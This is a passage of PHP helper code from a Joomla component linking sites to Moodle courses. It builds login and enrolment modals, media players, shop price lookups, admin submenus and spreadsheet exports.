<h2>$pageheader</h2>
</div>
<div id='pageModal-body-$modid'
class='pageModal-body-$modid'>
$content
</div>
<div class='pageModal-footer-$modid'>
<h3>$pagefooter</h3>
</div>
</div>
</div>
<script>
var span = document.getElementsByClassName('close')[0];
document.getElementById('page-$modid').onclick = function()
{
var content =
document.getElementById('pageModal-body-$modid');
jQuery.ajax({
url:
'/?option=com_moojla&view=coursedetail&task=coursedetail.getPageContent&pageid=$modid&courseid=$courseid',
}).done(function(e){
modal = document.getElementById('pageModal-$modid');
content.innerHTML = e;
viewActivity($mid, $modid)
modal.style.display = 'block';
});
}
window.onclick = function(event) {
if (event.target == modal) {
modal.style.display = 'none';
}
}
jQuery(document).ready(function($) {
$('.lmskaran-closeModal').click(function() {
modal.style.display = 'none';
});
});
</script>";
}
public static function getCurrentPriceByProductCode($product_code) {
require_once(JPATH_ADMINISTRATOR.'/components/com_hikashop/helpers/helper.php'
);
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName('product_id'));
$query->from($db->quoteName('#__hikashop_product'));
$query->where($db->quoteName('product_code') . ' =
' . $db->quote($product_code));
$query->where($db->quoteName('product_published') .
' = 1');
$db->setQuery($query);
$productid = $db->loadResult();
// dump($query->__toString());
if(!$productid)
return 0;
$user = JFactory::getUser();
$productClass = hikashop_get('class.product');
$product=$productClass->get($productid);
$currencyClass = hikashop_get('class.currency');
$config = hikashop_config();
if(is_object($product))
{
$parent = $productClass->get($product->product_parent_id);
if(!is_object($parent))
{
$parent = new stdClass;
$parent->product_id = $product->product_parent_id;
}
$ids = array($product->product_id, $parent->product_id);
$parent->variants = array($product);
$p = $currencyClass->getPrices($product, $ids,
hikashop_getCurrency(), $config->get('main_currency'),
hikashop_getZone(), $config->get('discount_before_tax'));
if(property_exists($product, 'prices'))
{
$prices = $product->prices;
if(is_array($prices))
{
$price = current($prices);
return $currencyClass->format($price->price_value_with_tax,
$price->price_currency_id);
}
}
else
return 0;
}
return 0;
}
public static function newActionButton($course, $is_enrolled, $module=null,
$returnurl='', $moodleurl='')
{
$params = JComponentHelper::getParams('com_moojla');
$sp = '-';
$jsp = '_';
$btn_index = $course->id.($module ? $sp.$module->id :
"");
$elm_index = $course->id.($module ? $jsp.$module->id :
"");
$moodle_url= $moodleurl ? $moodleurl :
trim($params->get('moodle_url'));
$loginurl = trim($course->loginurl);
if($loginurl == '')
{
$loginurl = trim($params->get('loginurl',
'index.php?option=com_users&task=login&tmpl=component'));
}
$loginurl = JRoute::_($loginurl, false);
$showlogintab = $course->showlogintab;
if($showlogintab == '' || $showlogintab == 2)
{
$showlogintab = $params->get('showlogintab', 1);
}
$showregtab = $course->showregtab;
if($showregtab == '' || $showregtab == 2)
{
$showregtab = $params->get('showregtab', 1);
}
$registrationurl = trim($course->registrationurl);
if($registrationurl == '')
{
$registrationurl = trim($params->get('registrationurl',
'index.php?option=com_users&view=registration&tmpl=component'));
}
$registrationurl = JRoute::_($registrationurl, false);
$uri = JUri::getInstance();
$returnurl = ($returnurl == '' ? $uri->toString() :
$returnurl);
$returnurl = base64_encode($returnurl);
if(trim($course->loginlbl) == '')
$btnlbl = trim($params->get('loginlbl'));
else
$btnlbl = trim($course->loginlbl);
$user = JFactory::getUser();
$is_enrolled = property_exists($course, "is_enrolled") ?
$course->is_enrolled : $is_enrolled;
$self_enrolment = $course->self_enrolment;
$guest = $course->guest;
$cost = $course->cost;
$remoteid = $course->remoteid;
$courseid = $course->id;
$btnclass = 'loginbtn';
$html =
"<style>.moojla-login-modal{display:none;position:fixed;z-index:1000;left:0;top:0;width:100%;height:100%;overflow:auto;background-color:rgb(0,0,0);background-color:rgba(0,0,0,.4);padding-top:60px}.moojla-login-modal-content{background-color:#fefefe;margin:0
auto 15% auto;border:1px solid
#888;width:40%;border-radius:20px;padding-top:20px}.close{position:absolute;right:25px;top:0;color:#000;font-size:35px;font-weight:700}.close:hover,.close:focus{color:red;cursor:pointer}.animate{-webkit-animation:animatezoom
0.8s;animation:animatezoom 0.8s}@-webkit-keyframes
animatezoom{from{-webkit-transform:scale(0)}to{-webkit-transform:scale(1)}}@keyframes
animatezoom{from{transform:scale(0)}to{transform:scale(1)}}@media screen
and
(max-width:300px){span.psw{display:block;float:none}.cancelbtn{width:100%}}.moojla-login-modal-content{background-color:transparent;border:unset;width:40%}.moojla-login-modal{background-color:rgb(0
0 0 / 69%)}ul.nav.nav-tabs.nav-stacked li
a{color:#000;padding:20px}form.form-validate.form-horizontal.well{border-bottom:unset;background:#fff}.form-horizontal
.control-label{width:100%!important}.form-horizontal
.controls{margin-right:unset!important}</style>";
if(!$user->id && $guest == 0)
{
$flag=true;
$html .= "
<a id='moojla-start-modal-$btn_index'
class='moojla-login-button $btnclass'><span
class='actionbtn-$btn_index' >$btnlbl</span></a>
<div id='moojla-modal-$btn_index'
class='moojla-login-modal' >
<div class='moojla-login-modal-content
animate'>".($showlogintab == 0 ? "" :
"<span id='logintabbtn-$btn_index'
class='active'>
ورود
</span>
<div
id='moojla-login-modal-content-$btn_index'>
<img
src='/components/com_moojla/assets/images/loading-modal.svg'
id='loadinggif-$btn_index'>
</div>").($showregtab == 0 ? "" :
"<span id='regtabbtn-$btn_index'>
ثبت نام
</span>
<div id='moojla-reg-modal-content-$btn_index'
class='active'>
<img
src='/components/com_moojla/assets/images/loading-modal.svg'
id='loadinggif-$btn_index'>
</div>").
"</div>
</div>
<script>
loginbtn$elm_index =
jQuery('#logintabbtn-$btn_index');
regbtn$elm_index =
jQuery('#regtabbtn-$btn_index');
l$elm_index =
jQuery('#moojla-login-modal-content-$btn_index');
r$elm_index =
jQuery('#moojla-reg-modal-content-$btn_index');
var moojla_login_modal$elm_index =
document.getElementById('moojla-modal-$btn_index');
loginbtn$elm_index.click(function(e){
l$elm_index.show();
r$elm_index.hide();
});
regbtn$elm_index.click(function(e){
r$elm_index.show();
l$elm_index.hide();
jQuery('#member-registration-$btn_index > div >
div > a').click(function(e) {
moojla_login_modal$elm_index.style.display =
'none';
return false;
});
});
document.getElementById('moojla-start-modal-$btn_index').onclick
= function() {
moojla_login_modal$elm_index.style.display
='block';
if(r$elm_index.hasClass('loaded')) {
r$elm_index.css('display', 'block');
}
l$elm_index.load('$loginurl&return=$returnurl', function(){
loadinggif$elm_index =
jQuery('#loadinggif-$btn_index');
if(loadinggif$elm_index) {
loadinggif$elm_index.hide();
l$elm_index.addClass('loaded');
}
});
r$elm_index.load('$registrationurl&return=$returnurl',
function(){
loadinggif$elm_index =
jQuery('#loadinggif-$btn_index');
if(loadinggif$elm_index) {
loadinggif$elm_index.hide();
r$elm_index.addClass('loaded');
}
regform$elm_index =
jQuery('#member-registration-$btn_index');
regf = regform$elm_index;
if(regf[0]) {
oldaction$elm_index =
regf[0].getAttribute('action')
regf[0].setAttribute('action',
oldaction$elm_index + '&return=' + '$returnurl')
}
});
// r$elm_index.hide();
// l$elm_index.hide();
".($showlogintab == 0 ?
"l$elm_index.hide();" : "r$elm_index.hide();").
"}
jQuery('#member-registration-$btn_index > div >
div > a').click(function(e) {
moojla_login_modal$elm_index.style.display =
'none';
return false;
});
window.addEventListener('click', function(e){
if(e.target == moojla_login_modal$elm_index) {
moojla_login_modal$elm_index.style.display =
'none';
l$elm_index.removeClass('hidden');
r$elm_index.removeClass('hidden');
}
});
</script>
<style>/*div#moojla-login-modal-content-$btn_index{display:flex;justify-content:center;align-items:center;background:#fff;padding:10px}input#modlgn-passwd-$btn_index,input#modlgn-username-$btn_index{margin:unset!important}span#logintabbtn-$btn_index{background:#fff;padding:15px
20px;display:inline-flex;margin-left:10px;border-radius:10px 10px 0
0;cursor:pointer}span#regtabbtn-$btn_index{background:#fff;padding:15px
20px;border-radius:10px 10px 0
0;cursor:pointer}div#moojla-reg-modal-content-$btn_index{display:block;background:#fff}
*/</style>";
}
else
{
$flag = false;
if($course->cangotomoodle == 2)
$cangotomoodle = $params->get('cangotomoodle', 0);
else
$cangotomoodle = $course->cangotomoodle;
if($is_enrolled)
{
if($cangotomoodle == 1)
{
$redirect_url = $moodle_url . 'course/view.php?id=' .
$remoteid;
$flag = true;
}
else
{
$redirect_url = '#';
$flag = false;
}
if(trim($course->enterlbl) == '')
$label = trim($params->get('enterlbl'));
else
$label = trim($course->enterlbl);
$btnclass = 'enterbtn';
$html .= "<a id='moojla-start-modal-$btn_index'
class='moojla-login-button $btnclass'
href='$redirect_url'> <span class='actionbtn'
> $label </span> </a>";
}
elseif($guest == 1)
{
if($cangotomoodle == 1)
{
$redirect_url = $moodle_url . 'course/view.php?id=' .
$remoteid;
$flag = true;
}
else
{
$redirect_url = '#';
$flag = false;
}
if(trim($course->freeenterlbl) == '')
$label = trim($params->get('freeenterlbl'));
else
$label = trim($course->freeenterlbl);
$btnclass = 'freebtn';
$html .= "<a id='moojla-start-modal-$btn_index'
class='moojla-login-button $btnclass'
href='$redirect_url'> <span class='actionbtn'
> $label </span> </a>";
}
else if($cost != 0)
{
if(trim($course->buylbl) == '')
$label = trim($params->get('buylbl'));
else
$label = trim($course->buylbl);
$btnclass = 'buybtn';
$flag = true;
$shop_integration =
trim($params->get('shop_integration'));
if($shop_integration == '0')
{
$redirect_url =
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='.$tcourse->id,
false);
$app = JFactory::getApplication();
$app->enqueueMessage(JText::_('MOOJLA_NO_SHOP_INTEGRATION_SELECTED'));
// translate need
}
else if($shop_integration == 'hk') // hikashop
{
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName('product_id'));
$query->from($db->quoteName('#__hikashop_product'));
$query->where($db->quoteName('product_code') .
' = ' . $db->quote($remoteid));
$db->setQuery($query);
$product_id = $db->loadResult();
$redirect_url =
JRoute::_('index.php?option=com_hikashop&ctrl=product&task=show&cid='
. $product_id, false);
// $html .= "<a
id='moojla-start-modal-$btn_index'
class='moojla-login-button $btnclass'
href='$redirect_url'> <span class='actionbtn'
> $label </span> </a>";
$html .= "<a class='hikabtn hikacart'
rel='nofollow'
href='/index.php?option=com_hikashop&ctrl=product&task=updatecart&add=1&product_id=$product_id'
onclick='if(window.hikashop.addToCart){return
window.hikashop.addToCart(this);}'data-addtocart='$product_id'data-addto-class='add_in_progress'><span>$label</span></a>";
}
}
elseif($self_enrolment)
{
$redirect_url =
JRoute::_('index.php?option=com_moojla&task=coursedetail.enrol&itemid='
. $courseid . '&type=self', false);
if(trim($course->enrollbl) == '')
$label = trim($params->get('enrollbl'));
else
$label = trim($course->enrollbl);
$btnclass = 'enrolbtn';
$flag = true;
$html .= "<a id='moojla-start-modal-$btn_index'
class='moojla-login-button $btnclass'
href='$redirect_url'> <span class='actionbtn'
> $label </span> </a>";
}
}
$css = "
<style>
/*login tab */
#logintabbtn-$btn_index {
position: absolute;
right: 0px;
top: -36px;
}
#regtabbtn-$btn_index {
position: absolute;
right: 70px;
top: -36px;
}
#logintabbtn-$btn_index,#regtabbtn-$btn_index {
background: #fff;
padding: 15px 20px;
border-radius: 10px 10px 0 0;
cursor: pointer;
font-size: 16px;
font-weight:100;
color: black;
}
.moojla-login-modal-content{
position:relative;
}
/* preloader */
div#moojla-login-modal-content-$btn_index,div#moojla-reg-modal-content-$btn_index
{
background: white;
border-radius: 10px 0 10px 10px;
}
div#moojla-login-modal-content-$btn_index{
display:flex;
justify-content:center;
}
.customizedbyMJT {
padding:10px 50px;
}
.moojla-login-modal-content{
background-color: transparent;
border: unset;
width:40%;
}
.moojla-login-modal{
background-color: rgb(0 0 0 / 69%);
}
input#modlgn-username,input#modlgn-passwd {
margin: unset !important;
width: 100%;
}
.input-prepend {
width: 100%;
display: flex !important;
}
.add-on [class^='icon-'], .add-on [class*='
icon-']{
margin-left:unset !Important;
}
/*ul in tab login*/
ul.nav.nav-tabs.nav-stacked li a {
color: black;
padding: 20px;
}
/* margin unset input */
.form-horizontal .controls{
margin-right:unset !important;
}
div#form-login-submit .controls {
display: flex;
justify-content: center;
align-items: center;
}
div#form-login-submit .controls button{
width: 30%;
padding: 10px;
font-size: 1rem;
font-weight: 100;
background: #3ea2e2;
}
#moojla-reg-modal-content #cbcheckedadminForm
#registrationTable{
color:black;
}
ul#form-login-links {
font-size: 15px;
font-weight: 100;
margin-bottom: unset;
}
ul#form-login-links li {
text-align: right;
}
ul#form-login-links li a {
color: black;
}
ul#form-login-links li a:hover {
color: black;
}
#moojla-login-modal-content .image_head_modal_login {
width: 100%;
}
div#form-login-remember {
display: flex;
align-items: center;
flex-direction: row-reverse;
justify-content: flex-end;
}
div#form-login-remember label {
color: black;
font-size: 15px;
font-weight: 100;
margin-right: 5px;
}
/*moojla modal*/
#moojla-modal{
cursor: auto;
}
@media screen and (max-width: 1200px) and (min-width: 768px){
.moojla-login-modal-content{
width:60%;
}
}
@media screen and (max-width: 768px) and (min-width: 500px){
.moojla-login-modal-content{
width:80%;
}
}
@media only screen and (max-width: 500px){
.moojla-login-modal-content{
width:99%;
}
}
.lmskaran_reg_download > input{
background-color: #4ece3d;
border: unset;
}
</style>
";
$html .=$css;
return array($flag, $html);
}
public static function fileActionButton(array $options, int $type)
{
/*
type {
1 -> Modal
2 -> Embed
3 -> Scrol to top
*/
$src = $options["src"];
$id = $options["id"];
$name = $options["name"];
$course = $options["course"];
$mimetype = $options["mimetype"];
$onclick = isset($options["onclick"]) ?
$options["onclick"] :
"location.href='$src'";
$onclick = htmlspecialchars_decode($onclick);
$tagname = "";
$endigtag = "";
$jid = JFactory::getUser()->id;
$mid = MoojlaHelper::joomlaToMoodleID($jid);
$params = JComponentHelper::getParams('com_moojla');
if($course->useglobalvideo == 1)
{
$preventdownload = $params->get('preventdownload', 0);
$addcontrols = $params->get('addcontrols', 1);
$preloadvideo = $params->get('preloadvideo', 0);
$autoplay = $params->get('autoplay', 0);
$muted = $params->get('muted', 0);
}
else
{
$preventdownload = $course->preventdownload ?
$course->preventdownload : 0;
$addcontrols = $course->addcontrols ? $course->addcontrols :
1;
$preloadvideo = $course->preloadvideo ? $course->preloadvideo :
0;
$autoplay = $course->autoplay ? $course->autoplay : 0;
$muted = $course->muted ? $course->muted : 0;
$type = $course->videotype ? $course->videotype : $type;
}
switch($mimetype)
{
case 'video':
$tagname = 'video';
$endigtag = "</video>";
break;
case 'image':
$tagname = 'img';
break;
case 'audio':
$tagname = 'audio';
$endigtag = "</audio>";
break;
}
if($tagname == "")
{
$src = $onclick ? "#" : $src;
return "<a href='$src'
onclick='onClickFunction$id()' class='btn btn-primary
file-btn' id='file-btn-$id' >$name</a>
<script>
function onClickFunction$id(){
viewActivity($mid, $id);
$onclick;
}
</script>
";
}
if($tagname == 'audio')
{
$type = '2';
$addcontrols = 1;
if($course->useglobalaudio == 1)
{
$preventdownload =
$params->get('preventdownloadaudio', 0);
$preloadvideo = $params->get('preloadaudio', 0);
$autoplay = $params->get('autoplayaudio', 0);
}
else
{
$preventdownload = $course->preventdownloadaudio ?
$course->preventdownloadaudio : 0;
$preloadvideo = $course->preloadaudio ? $course->preloadaudio
: 0;
$autoplay = $course->autoplayaudio ? $course->autoplayaudio :
0;
}
}
switch($type)
{
case 1:
$html = "<button type='button' class='btn
btn-primary file-btn' id='file-btn-$id'
data-toggle='modal' data-src='$src'
data-target='#myModal-$id'>
$name
</button>
<!-- Modal -->
<div class='modal fade' id='myModal-$id'
tabindex='-1' role='dialog'
aria-labelledby='exampleModalLabel'
aria-hidden='true'>
<div class='modal-dialog'
role='document'>
<div class='modal-content'>
<div class='modal-body'>
<button type='button'
class='close' data-dismiss='modal'
aria-label='Close'>
<span
aria-hidden='true'>×</span>
</button>
<!-- 16:9 aspect ratio -->
<div class='embed-responsive
embed-responsive-16by9'>
<$tagname class='embed-responsive-item'
src=''
id='modalfile-$id'
allowscriptaccess='always' allow='autoplay'
" . ($addcontrols ? 'controls' :
'') .
" preload='" . ($preloadvideo ?
'true' : 'none') .
"' " . ($muted ? 'muted' :
''). " "
. ($preventdownload ?
'controlsList="nodownload"' : '') .
" "
. ($autoplay ? 'autoplay' : '') .
" >$endigtag
</div>
</div>
</div>
</div>
</div>
<script>
jQuery(document).ready(function($) {
// Gets the file src from the data-src on each button
var fileSrc;
$('#file-btn-$id').click(function() {
fileSrc = $(this).data('src');
});
// when the modal is opened autoplay it
$('#myModal-$id').on('shown.bs.modal',
function(e) {
// set the file src to autoplay and not to show related file.
Youtube related file is like a box of chocolates... you never know what
you're gonna get
$('#modalfile-$id').attr('src',
fileSrc);
viewActivity($mid, $id);
})
// stop playing the youtube file when I close the modal
$('#myModal-$id').on('hide.bs.modal',
function(e) {
$('#modalfile-$id').attr('src',
fileSrc);
body = $('body');
body.removeClass('modal-open');
modalback =
document.getElementsByClassName('modal-backdrop');
try
{
document.getElementById('modalfile-$id').pause();
}
catch
{
}
for (let item of modalback) {
item.remove();
}
})
});
".($preventdownload?'noRightClicks=document.getElementsByTagName(`'.$tagname.'`);for(i
= 0; i < noRightClicks.length;
i++){noRightClicks[i].addEventListener(`contextmenu`, e =>
e.preventDefault());}':'')."
</script>
<style>
.modal-dialog {
max-width: 800px;
margin: 30px auto;
}
.modal-body {
position: relative;
padding: 0px;
}
.close {
position: absolute;
right: 5px;
top: 5px;
z-index: 999;
font-size: 2rem;
font-weight: normal;
color: #fff;
opacity: 1;
text-shadow: 0 0 5px #ff0000;
}
</style>";
break;
case 2:
$html = "<button type='button' class='btn
btn-primary file-btn' onclick='show$mimetype(this, $id,
\"$src \")'>$name</button>
<script>
function show$mimetype(elm, id, src){
par = elm.parentElement;
elementExist =
par.querySelector('$tagname.resource-$mimetype');
if(!elementExist){
fileElement = document.createElement('$tagname');
fileElement.setAttribute('src', src);
if($addcontrols)
fileElement.setAttribute('controls',
'');
fileElement.setAttribute('class',
'resource-$mimetype')
if($preloadvideo == 0)
fileElement.setAttribute('preload',
'none');
if($muted)
fileElement.setAttribute('muted', '');
if($autoplay)
fileElement.setAttribute('autoplay',
'');
if($preventdownload)
fileElement.setAttribute('controlsList',
'nodownload');
par.append(fileElement);
viewActivity($mid, $id);
}
}
".($preventdownload?'noRightClicks=document.getElementsByTagName(`'.$tagname.'`);for(i
= 0; i < noRightClicks.length;
i++){noRightClicks[i].addEventListener(`contextmenu`, e =>
e.preventDefault());}':'')."
</script>";
break;
case 3:
$html = "<button type='button' class='btn
btn-primary file-btn' onclick='show$mimetype(this, $id,
\"$src \")'>$name</button>
<script>
function show$mimetype(elm, id, src){
par =
document.getElementById('lmskaran_course_image');
console.log(par);
elementExist =
par.querySelector('$tagname.resource-$mimetype');
// if(!elementExist){
fileElement = document.createElement('$tagname');
fileElement.setAttribute('src', src);
if($addcontrols)
fileElement.setAttribute('controls',
'');
fileElement.setAttribute('class',
'resource-$mimetype')
if($preloadvideo == 0)
fileElement.setAttribute('preload',
'none');
if($muted)
fileElement.setAttribute('muted', '');
if($autoplay)
fileElement.setAttribute('autoplay',
'');
if($preventdownload)
fileElement.setAttribute('controlsList',
'nodownload');
par.innerHTML = ''
par.append(fileElement);
jQuery('html, body').animate({
scrollTop: jQuery('#lmskaran_course_image').offset().top
- 100
}, 700);
viewActivity($mid, $id);
// }
}
".($preventdownload?'noRightClicks=document.getElementsByTagName(`'.$tagname.'`);for(i
= 0; i < noRightClicks.length;
i++){noRightClicks[i].addEventListener(`contextmenu`, e =>
e.preventDefault());}':'')."
</script>";
break;
}
$videowidth = trim($params->get('videowidth',
'100%'));
$videoheight = trim($params->get('videoheight',
'100%'));
$css = "
<style>
#lmskaran_course_image video.resource-video {
width: $videowidth;
height: $videoheight;
}
</style>
";
return $html . $css;
}
public static function getHierarchialTemplate($params, $templateField,
$default='default')
{
$param = $params->get($templateField);
if (!$param) {
$tmpl =
JComponentHelper::getParams('com_moojla')->get($templateField,
$default);
} else {
$tmpl = $param;
}
$tmpl = preg_replace('/\.php$/', '', $tmpl);
return $tmpl;
}
/***[/JCBGUI$$$$]***/
/**
* Load the Composer Vendors
*/
public static function composerAutoload($target)
{
// insure we load the composer vendor only once
if (!isset(self::$composer[$target]))
{
// get the function name
$functionName = self::safeString('compose' . $target);
// check if method exist
if (method_exists(__CLASS__, $functionName))
{
return self::{$functionName}();
}
return false;
}
return self::$composer[$target];
}
/**
* Load the Component xml manifest.
*/
public static function manifest()
{
$manifestUrl =
JPATH_ADMINISTRATOR."/components/com_moojla/moojla.xml";
return simplexml_load_file($manifestUrl);
}
/**
* Joomla version object
*/
protected static $JVersion;
/**
* set/get Joomla version
*/
public static function jVersion()
{
// check if set
if (!self::checkObject(self::$JVersion))
{
self::$JVersion = new JVersion();
}
return self::$JVersion;
}
/**
* Load the Contributors details.
*/
public static function getContributors()
{
// get params
$params = JComponentHelper::getParams('com_moojla');
// start contributors array
$contributors = array();
// get all Contributors (max 20)
$searchArray = range('0','20');
foreach($searchArray as $nr)
{
if ((NULL !== $params->get("showContributor".$nr))
&& ($params->get("showContributor".$nr) == 1 ||
$params->get("showContributor".$nr) == 3))
{
// set link based of selected option
if($params->get("useContributor".$nr) == 1)
{
$link_front = '<a
href="mailto:'.$params->get("emailContributor".$nr).'"
target="_blank">';
$link_back = '</a>';
}
elseif($params->get("useContributor".$nr) == 2)
{
$link_front = '<a
href="'.$params->get("linkContributor".$nr).'"
target="_blank">';
$link_back = '</a>';
}
else
{
$link_front = '';
$link_back = '';
}
$contributors[$nr]['title'] =
self::htmlEscape($params->get("titleContributor".$nr));
$contributors[$nr]['name'] =
$link_front.self::htmlEscape($params->get("nameContributor".$nr)).$link_back;
}
}
return $contributors;
}
/**
* Can be used to build help urls.
**/
public static function getHelpUrl($view)
{
return false;
}
/**
* Configure the Linkbar.
*/
public static function addSubmenu($submenu)
{
// load user for access menus
$user = JFactory::getUser();
// load the submenus to sidebar
JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_SUBMENU_DASHBOARD'),
'index.php?option=com_moojla&view=moojla', $submenu ===
'moojla');
if ($user->authorise('course.access',
'com_moojla') &&
$user->authorise('course.submenu', 'com_moojla'))
{
JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_SUBMENU_COURSES'),
'index.php?option=com_moojla&view=courses', $submenu ===
'courses');
JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_COURSE_COURSES_CATEGORIES'),
'index.php?option=com_categories&view=categories&extension=com_moojla.course',
$submenu === 'categories.course');
}
if (JComponentHelper::isEnabled('com_fields'))
{
JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_SUBMENU_COURSES_FIELDS'),
'index.php?option=com_fields&context=com_moojla.course',
$submenu === 'fields.fields');
JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_SUBMENU_COURSES_FIELDS_GROUPS'),
'index.php?option=com_fields&view=groups&context=com_moojla.course',
$submenu === 'fields.groups');
}
if ($user->authorise('course_field_mapper.access',
'com_moojla') &&
$user->authorise('course_field_mapper.submenu',
'com_moojla'))
{
JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_SUBMENU_COURSE_FIELDS_MAPPER'),
'index.php?option=com_moojla&view=course_fields_mapper',
$submenu === 'course_fields_mapper');
}
JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_SUBMENU_USER_MAPS'),
'index.php?option=com_moojla&view=user_maps', $submenu ===
'user_maps');
JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_SUBMENU_USER_FIELDS_MAP'),
'index.php?option=com_moojla&view=user_fields_map', $submenu
=== 'user_fields_map');
JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_SUBMENU_COURSE_GROUP_MAPS'),
'index.php?option=com_moojla&view=course_group_maps',
$submenu === 'course_group_maps');
JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_SUBMENU_ENROLMENTS'),
'index.php?option=com_moojla&view=enrolments', $submenu ===
'enrolments');
if ($user->authorise('tag.access', 'com_moojla')
&& $user->authorise('tag.submenu',
'com_moojla'))
{
JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_SUBMENU_TAGS'),
'index.php?option=com_moojla&view=tags', $submenu ===
'tags');
}
if ($user->authorise('tag_instance.access',
'com_moojla') &&
$user->authorise('tag_instance.submenu',
'com_moojla'))
{
JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_SUBMENU_TAG_INSTANCES'),
'index.php?option=com_moojla&view=tag_instances', $submenu
=== 'tag_instances');
}
// Access control (healthcheck.submenu).
if ($user->authorise('healthcheck.submenu',
'com_moojla'))
{
JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_SUBMENU_HEALTHCHECK'),
'index.php?option=com_moojla&view=healthcheck', $submenu ===
'healthcheck');
}
JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_SUBMENU_COHORTS'),
'index.php?option=com_moojla&view=cohorts', $submenu ===
'cohorts');
if ($user->authorise('language_translation.submenu',
'com_moojla'))
{
JHtmlSidebar::addEntry(JText::_('COM_MOOJLA_SUBMENU_LANGUAGETRANSLATION'),
'index.php?option=com_moojla&view=languagetranslation',
$submenu === 'languagetranslation');
}
}
/**
* Prepares the xml document
*/
public static function xls($rows, $fileName = null, $title = null,
$subjectTab = null, $creator = 'Lmskaran', $description = null,
$category = null,$keywords = null, $modified = null)
{
// set the user
$user = JFactory::getUser();
// set fileName if not set
if (!$fileName)
{
$fileName =
'exported_'.JFactory::getDate()->format('jS_F_Y');
}
// set modified if not set
if (!$modified)
{
$modified = $user->name;
}
// set title if not set
if (!$title)
{
$title = 'Book1';
}
// set tab name if not set
if (!$subjectTab)
{
$subjectTab = 'Sheet1';
}
// make sure we have the composer classes loaded
self::composerAutoload('phpspreadsheet');
// Create new Spreadsheet object
$spreadsheet = new Spreadsheet();
// Set document properties
$spreadsheet->getProperties()
->setCreator($creator)
->setCompany('Lmskaran')
->setLastModifiedBy($modified)
->setTitle($title)
->setSubject($subjectTab);
// The file type
$file_type = 'Xls';
// set description
if ($description)
{
$spreadsheet->getProperties()->setDescription($description);
}
// set keywords
if ($keywords)
{
$spreadsheet->getProperties()->setKeywords($keywords);
}
// set category
if ($category)
{
$spreadsheet->getProperties()->setCategory($category);
}
// Some styles
$headerStyles = array(
'font' => array(
'bold' => true,
'color' => array('rgb' =>
'1171A3'),
'size' => 12,
'name' => 'Verdana'
));
$sideStyles = array(
'font' => array(
'bold' => true,
'color' => array('rgb' =>
'444444'),
'size' => 11,
'name' => 'Verdana'
));
$normalStyles = array(
'font' => array(
'color' => array('rgb' =>
'444444'),
'size' => 11,
'name' => 'Verdana'
));
// Add some data
if (($size = self::checkArray($rows)) !== false)
{
$i = 1;
// Based on data size we adapt the behaviour.
$xls_mode = 1;
if ($size > 3000)
{
$xls_mode = 3;
$file_type = 'Csv';
}
elseif ($size > 2000)
{
$xls_mode = 2;
}
// Set active sheet and get it.
$active_sheet = $spreadsheet->setActiveSheetIndex(0);
foreach ($rows as $array)
{
$a = 'A';
foreach ($array as $value)
{
$active_sheet->setCellValue($a.$i, $value);
if ($xls_mode != 3)
{
if ($i == 1)
{
$active_sheet->getColumnDimension($a)->setAutoSize(true);
$active_sheet->getStyle($a.$i)->applyFromArray($headerStyles);
$active_sheet->getStyle($a.$i)->getAlignment()->setHorizontal(PhpOffice\PhpSpreadsheet\Style\Alignment::HORIZONTAL_CENTER);
}
elseif ($a === 'A')
{
$active_sheet->getStyle($a.$i)->applyFromArray($sideStyles);
}
elseif ($xls_mode == 1)
{
$active_sheet->getStyle($a.$i)->applyFromArray($normalStyles);
}
}
$a++;
}
$i++;
}
}
else
{
return false;
}
// Rename worksheet
$spreadsheet->getActiveSheet()->setTitle($subjectTab);
// Set active sheet index to the first sheet, so Excel opens this as the
first sheet
$spreadsheet->setActiveSheetIndex(0);
// Redirect output to a client's web browser (Excel5)
header('Content-Type: application/vnd.ms-excel');
header('Content-Disposition: attachment;filename="' .
$fileName . '.' . strtolower($file_type) .'"');
header('Cache-Control: max-age=0');
// If you're serving to IE 9, then the following may be needed
header('Cache-Control: max-age=1');
// If you're serving to IE over SSL, then the following may be
needed
header ('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in
the past
header ('Last-Modified: '.gmdate('D, d M Y
H:i:s').' GMT'); // always modified
header ('Cache-Control: cache, must-revalidate'); // HTTP/1.1
header ('Pragma: public'); // HTTP/1.0
$writer = IOFactory::createWriter($spreadsheet, $file_type);
$writer->save('php://output');
jexit();
}
/**
* Get CSV Headers
*/
public static function getFileHeaders($dataType)
{
// make sure we have the composer classes loaded
self::composerAutoload('phpspreadsheet');
// get session object
$session = JFactory::getSession();
$package = $session->get('package', null);
$package = json_decode($package, true);
// set the headers
if(isset($package['dir']))
{
// only load first three rows
$chunkFilter = new PhpOffice\PhpSpreadsheet\Reader\chunkReadFilter(2,1);
// identify the file type
$inputFileType = IOFactory::identify($package['dir']);
// create the reader for this file type
$excelReader = IOFactory::createReader($inputFileType);
// load the limiting filter
$excelReader->setReadFilter($chunkFilter);
$excelReader->setReadDataOnly(true);
// load the rows (only first three)
$excelObj = $excelReader->load($package['dir']);
$headers = array();
foreach ($excelObj->getActiveSheet()->getRowIterator() as $row)
{
if($row->getRowIndex() == 1)
{
$cellIterator = $row->getCellIterator();
$cellIterator->setIterateOnlyExistingCells(false);
foreach ($cellIterator as $cell)
{
if (!is_null($cell))
{
$headers[$cell->getColumn()] = $cell->getValue();
}
}
$excelObj->disconnectWorksheets();
unset($excelObj);
break;
}
}
return $headers;
}
return false;
}
/**
* Load the Composer Vendor phpspreadsheet
*/
protected static function composephpspreadsheet()
{
// load the autoloader for phpspreadsheet
require_once JPATH_SITE .
'/libraries/phpspreadsheet/vendor/autoload.php';
// do not load again
self::$composer['phpspreadsheet'] = true;
return true;
}
/**
* Get a Variable
*
* @param string $table The table from which to get the
variable
* @param string $where The value where
* @param string $whereString The target/field string where/name
* @param string $what The return field
